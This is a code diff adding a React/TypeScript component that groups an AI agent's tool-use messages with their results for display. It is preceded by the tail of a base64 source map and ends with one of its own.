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","ignoreList":[]}

src/components/messages/GroupedToolUseContent.tsx

@@ -0,0 +1,58 @@
+import type { ToolResultBlockParam, ToolUseBlockParam } from '@anthropic-ai/sdk/resources/messages/messages.mjs';
+import * as React from 'react';
+import { filterToolProgressMessages, findToolByName, type Tools } from '../../Tool.js';
+import type { GroupedToolUseMessage } from '../../types/message.js';
+import type { buildMessageLookups } from '../../utils/messages.js';
+type Props = {
+  message: GroupedToolUseMessage;
+  tools: Tools;
+  lookups: ReturnType<typeof buildMessageLookups>;
+  inProgressToolUseIDs: Set<string>;
+  shouldAnimate: boolean;
+};
+export function GroupedToolUseContent({
+  message,
+  tools,
+  lookups,
+  inProgressToolUseIDs,
+  shouldAnimate
+}: Props): React.ReactNode {
+  const tool = findToolByName(tools, message.toolName);
+  if (!tool?.renderGroupedToolUse) {
+    return null;
+  }
+
+  // Build a map from tool_use_id to result data
+  const resultsByToolUseId = new Map<string, {
+    param: ToolResultBlockParam;
+    output: unknown;
+  }>();
+  for (const resultMsg of message.results) {
+    for (const content of resultMsg.message.content) {
+      if (content.type === 'tool_result') {
+        resultsByToolUseId.set(content.tool_use_id, {
+          param: content,
+          output: resultMsg.toolUseResult
+        });
+      }
+    }
+  }
+  const toolUsesData = message.messages.map(msg => {
+    const content = msg.message.content[0];
+    const result = resultsByToolUseId.get(content.id);
+    return {
+      param: content as ToolUseBlockParam,
+      isResolved: lookups.resolvedToolUseIDs.has(content.id),
+      isError: lookups.erroredToolUseIDs.has(content.id),
+      isInProgress: inProgressToolUseIDs.has(content.id),
+      progressMessages: filterToolProgressMessages(lookups.progressMessagesByToolUseID.get(content.id) ?? []),
+      result
+    };
+  });
+  const anyInProgress = toolUsesData.some(d => d.isInProgress);
+  return tool.renderGroupedToolUse(toolUsesData, {
+    shouldAnimate: shouldAnimate && anyInProgress,
+    tools
+  });
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUb29sUmVzdWx0QmxvY2tQYXJhbSIsIlRvb2xVc2VCbG9ja1BhcmFtIiwiUmVhY3QiLCJmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyIsImZpbmRUb29sQnlOYW1lIiwiVG9vbHMiLCJHcm91cGVkVG9vbFVzZU1lc3NhZ2UiLCJidWlsZE1lc3NhZ2VMb29rdXBzIiwiUHJvcHMiLCJtZXNzYWdlIiwidG9vbHMiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsImluUHJvZ3Jlc3NUb29sVXNlSURzIiwiU2V0Iiwic2hvdWxkQW5pbWF0ZSIsIkdyb3VwZWRUb29sVXNlQ29udGVudCIsIlJlYWN0Tm9kZSIsInRvb2wiLCJ0b29sTmFtZSIsInJlbmRlckdyb3VwZWRUb29sVXNlIiwicmVzdWx0c0J5VG9vbFVzZUlkIiwiTWFwIiwicGFyYW0iLCJvdXRwdXQiLCJyZXN1bHRNc2ciLCJyZXN1bHRzIiwiY29udGVudCIsInR5cGUiLCJzZXQiLCJ0b29sX3VzZV9pZCIsInRvb2xVc2VSZXN1bHQiLCJ0b29sVXNlc0RhdGEiLCJtZXNzYWdlcyIsIm1hcCIsIm1zZyIsInJlc3VsdCIsImdldCIsImlkIiwiaXNSZXNvbHZlZCIsInJlc29sdmVkVG9vbFVzZUlEcyIsImhhcyIsImlzRXJyb3IiLCJlcnJvcmVkVG9vbFVzZUlEcyIsImlzSW5Qcm9ncmVzcyIsInByb2dyZXNzTWVzc2FnZXMiLCJwcm9ncmVzc01lc3NhZ2VzQnlUb29sVXNlSUQiLCJhbnlJblByb2dyZXNzIiwic29tZSIsImQiXSwic291cmNlcyI6WyJHcm91cGVkVG9vbFVzZUNvbnRlbnQudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHtcbiAgVG9vbFJlc3VsdEJsb2NrUGFyYW0sXG4gIFRvb2xVc2VCbG9ja1BhcmFtLFxufSBmcm9tICdAYW50aHJvcGljLWFpL3Nkay9yZXNvdXJjZXMvbWVzc2FnZXMvbWVzc2FnZXMubWpzJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICBmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyxcbiAgZmluZFRvb2xCeU5hbWUsXG4gIHR5cGUgVG9vbHMsXG59IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IEdyb3VwZWRUb29sVXNlTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICcuLi8uLi91dGlscy9tZXNzYWdlcy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgbWVzc2FnZTogR3JvdXBlZFRvb2xVc2VNZXNzYWdlXG4gIHRvb2xzOiBUb29sc1xuICBsb29rdXBzOiBSZXR1cm5UeXBlPHR5cGVvZiBidWlsZE1lc3NhZ2VMb29rdXBzPlxuICBpblByb2dyZXNzVG9vbFVzZUlEczogU2V0PHN0cmluZz5cbiAgc2hvdWxkQW5pbWF0ZTogYm9vbGVhblxufVxuXG5leHBvcnQgZnVuY3Rpb24gR3JvdXBlZFRvb2xVc2VDb250ZW50KHtcbiAgbWVzc2FnZSxcbiAgdG9vbHMsXG4gIGxvb2t1cHMsXG4gIGluUHJvZ3Jlc3NUb29sVXNlSURzLFxuICBzaG91bGRBbmltYXRlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB0b29sID0gZmluZFRvb2xCeU5hbWUodG9vbHMsIG1lc3NhZ2UudG9vbE5hbWUpXG4gIGlmICghdG9vbD8ucmVuZGVyR3JvdXBlZFRvb2xVc2UpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gQnVpbGQgYSBtYXAgZnJvbSB0b29sX3VzZV9pZCB0byByZXN1bHQgZGF0YVxuICBjb25zdCByZXN1bHRzQnlUb29sVXNlSWQgPSBuZXcgTWFwPFxuICAgIHN0cmluZyxcbiAgICB7IHBhcmFtOiBUb29sUmVzdWx0QmxvY2tQYXJhbTsgb3V0cHV0OiB1bmtub3duIH1cbiAgPigpXG4gIGZvciAoY29uc3QgcmVzdWx0TXNnIG9mIG1lc3NhZ2UucmVzdWx0cykge1xuICAgIGZvciAoY29uc3QgY29udGVudCBvZiByZXN1bHRNc2cubWVzc2FnZS5jb250ZW50KSB7XG4gICAgICBpZiAoY29udGVudC50eXBlID09PSAndG9vbF9yZXN1bHQnKSB7XG4gICAgICAgIHJlc3VsdHNCeVRvb2xVc2VJZC5zZXQoY29udGVudC50b29sX3VzZV9pZCwge1xuICAgICAgICAgIHBhcmFtOiBjb250ZW50LFxuICAgICAgICAgIG91dHB1dDogcmVzdWx0TXNnLnRvb2xVc2VSZXN1bHQsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgY29uc3QgdG9vbFVzZXNEYXRhID0gbWVzc2FnZS5tZXNzYWdlcy5tYXAobXNnID0+IHtcbiAgICBjb25zdCBjb250ZW50ID0gbXNnLm1lc3NhZ2UuY29udGVudFswXVxuICAgIGNvbnN0IHJlc3VsdCA9IHJlc3VsdHNCeVRvb2xVc2VJZC5nZXQoY29udGVudC5pZClcbiAgICByZXR1cm4ge1xuICAgICAgcGFyYW06IGNvbnRlbnQgYXMgVG9vbFVzZUJsb2NrUGFyYW0sXG4gICAgICBpc1Jlc29sdmVkOiBsb29rdXBzLnJlc29sdmVkVG9vbFVzZUlEcy5oYXMoY29udGVudC5pZCksXG4gICAgICBpc0Vycm9yOiBsb29rdXBzLmVycm9yZWRUb29sVXNlSURzLmhhcyhjb250ZW50LmlkKSxcbiAgICAgIGlzSW5Qcm9ncmVzczogaW5Qcm9ncmVzc1Rvb2xVc2VJRHMuaGFzKGNvbnRlbnQuaWQpLFxuICAgICAgcHJvZ3Jlc3NNZXNzYWdlczogZmlsdGVyVG9vbFByb2dyZXNzTWVzc2FnZXMoXG4gICAgICAgIGxvb2t1cHMucHJvZ3Jlc3NNZXNzYWdlc0J5VG9vbFVzZUlELmdldChjb250ZW50LmlkKSA/PyBbXSxcbiAgICAgICksXG4gICAgICByZXN1bHQsXG4gICAgfVxuICB9KVxuXG4gIGNvbnN0IGFueUluUHJvZ3Jlc3MgPSB0b29sVXNlc0RhdGEuc29tZShkID0+IGQuaXNJblByb2dyZXNzKVxuXG4gIHJldHVybiB0b29sLnJlbmRlckdyb3VwZWRUb29sVXNlKHRvb2xVc2VzRGF0YSwge1xuICAgIHNob3VsZEFuaW1hdGU6IHNob3VsZEFuaW1hdGUgJiYgYW55SW5Qcm9ncmVzcyxcbiAgICB0b29scyxcbiAgfSlcbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsY0FDRUEsb0JBQW9CLEVBQ3BCQyxpQkFBaUIsUUFDWixtREFBbUQ7QUFDMUQsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUNFQywwQkFBMEIsRUFDMUJDLGNBQWMsRUFDZCxLQUFLQyxLQUFLLFFBQ0wsZUFBZTtBQUN0QixjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFDbkUsY0FBY0MsbUJBQW1CLFFBQVEseUJBQXlCO0FBRWxFLEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVILHFCQUFxQjtFQUM5QkksS0FBSyxFQUFFTCxLQUFLO0VBQ1pNLE9BQU8sRUFBRUMsVUFBVSxDQUFDLE9BQU9MLG1CQUFtQixDQUFDO0VBQy9DTSxvQkFBb0IsRUFBRUMsR0FBRyxDQUFDLE1BQU0sQ0FBQztFQUNqQ0MsYUFBYSxFQUFFLE9BQU87QUFDeEIsQ0FBQztBQUVELE9BQU8sU0FBU0MscUJBQXFCQSxDQUFDO0VBQ3BDUCxPQUFPO0VBQ1BDLEtBQUs7RUFDTEMsT0FBTztFQUNQRSxvQkFBb0I7RUFDcEJFO0FBQ0ssQ0FBTixFQUFFUCxLQUFLLENBQUMsRUFBRU4sS0FBSyxDQUFDZSxTQUFTLENBQUM7RUFDekIsTUFBTUMsSUFBSSxHQUFHZCxjQUFjLENBQUNNLEtBQUssRUFBRUQsT0FBTyxDQUFDVSxRQUFRLENBQUM7RUFDcEQsSUFBSSxDQUFDRCxJQUFJLEVBQUVFLG9CQUFvQixFQUFFO0lBQy9CLE9BQU8sSUFBSTtFQUNiOztFQUVBO0VBQ0EsTUFBTUMsa0JBQWtCLEdBQUcsSUFBSUMsR0FBRyxDQUNoQyxNQUFNLEVBQ047SUFBRUMsS0FBSyxFQUFFdkIsb0JBQW9CO0lBQUV3QixNQUFNLEVBQUUsT0FBTztFQUFDLENBQUMsQ0FDakQsQ0FBQyxDQUFDO0VBQ0gsS0FBSyxNQUFNQyxTQUFTLElBQUloQixPQUFPLENBQUNpQixPQUFPLEVBQUU7SUFDdkMsS0FBSyxNQUFNQyxPQUFPLElBQUlGLFNBQVMsQ0FBQ2hCLE9BQU8sQ0FBQ2tCLE9BQU8sRUFBRTtNQUMvQyxJQUFJQSxPQUFPLENBQUNDLElBQUksS0FBSyxhQUFhLEVBQUU7UUFDbENQLGtCQUFrQixDQUFDUSxHQUFHLENBQUNGLE9BQU8sQ0FBQ0csV0FBVyxFQUFFO1VBQzFDUCxLQUFLLEVBQUVJLE9BQU87VUFDZEgsTUFBTSxFQUFFQyxTQUFTLENBQUNNO1FBQ3BCLENBQUMsQ0FBQztNQUNKO0lBQ0Y7RUFDRjtFQUVBLE1BQU1DLFlBQVksR0FBR3ZCLE9BQU8sQ0FBQ3dCLFFBQVEsQ0FBQ0MsR0FBRyxDQUFDQyxHQUFHLElBQUk7SUFDL0MsTUFBTVIsT0FBTyxHQUFHUSxHQUFHLENBQUMxQixPQUFPLENBQUNrQixPQUFPLENBQUMsQ0FBQyxDQUFDO0lBQ3RDLE1BQU1TLE1BQU0sR0FBR2Ysa0JBQWtCLENBQUNnQixHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDO0lBQ2pELE9BQU87TUFDTGYsS0FBSyxFQUFFSSxPQUFPLElBQUkxQixpQkFBaUI7TUFDbkNzQyxVQUFVLEVBQUU1QixPQUFPLENBQUM2QixrQkFBa0IsQ0FBQ0MsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUN0REksT0FBTyxFQUFFL0IsT0FBTyxDQUFDZ0MsaUJBQWlCLENBQUNGLEdBQUcsQ0FBQ2QsT0FBTyxDQUFDVyxFQUFFLENBQUM7TUFDbERNLFlBQVksRUFBRS9CLG9CQUFvQixDQUFDNEIsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUNsRE8sZ0JBQWdCLEVBQUUxQywwQkFBMEIsQ0FDMUNRLE9BQU8sQ0FBQ21DLDJCQUEyQixDQUFDVCxHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDLElBQUksRUFDekQsQ0FBQztNQUNERjtJQUNGLENBQUM7RUFDSCxDQUFDLENBQUM7RUFFRixNQUFNVyxhQUFhLEdBQUdmLFlBQVksQ0FBQ2dCLElBQUksQ0FBQ0MsQ0FBQyxJQUFJQSxDQUFDLENBQUNMLFlBQVksQ0FBQztFQUU1RCxPQUFPMUIsSUFBSSxDQUFDRSxvQkFBb0IsQ0FBQ1ksWUFBWSxFQUFFO0lBQzdDakIsYUFBYSxFQUFFQSxhQUFhLElBQUlnQyxhQUFhO0lBQzdDckM7RUFDRixDQUFDLENBQUM7QUFDSiIsImlnbm9yZUxpc3QiOlt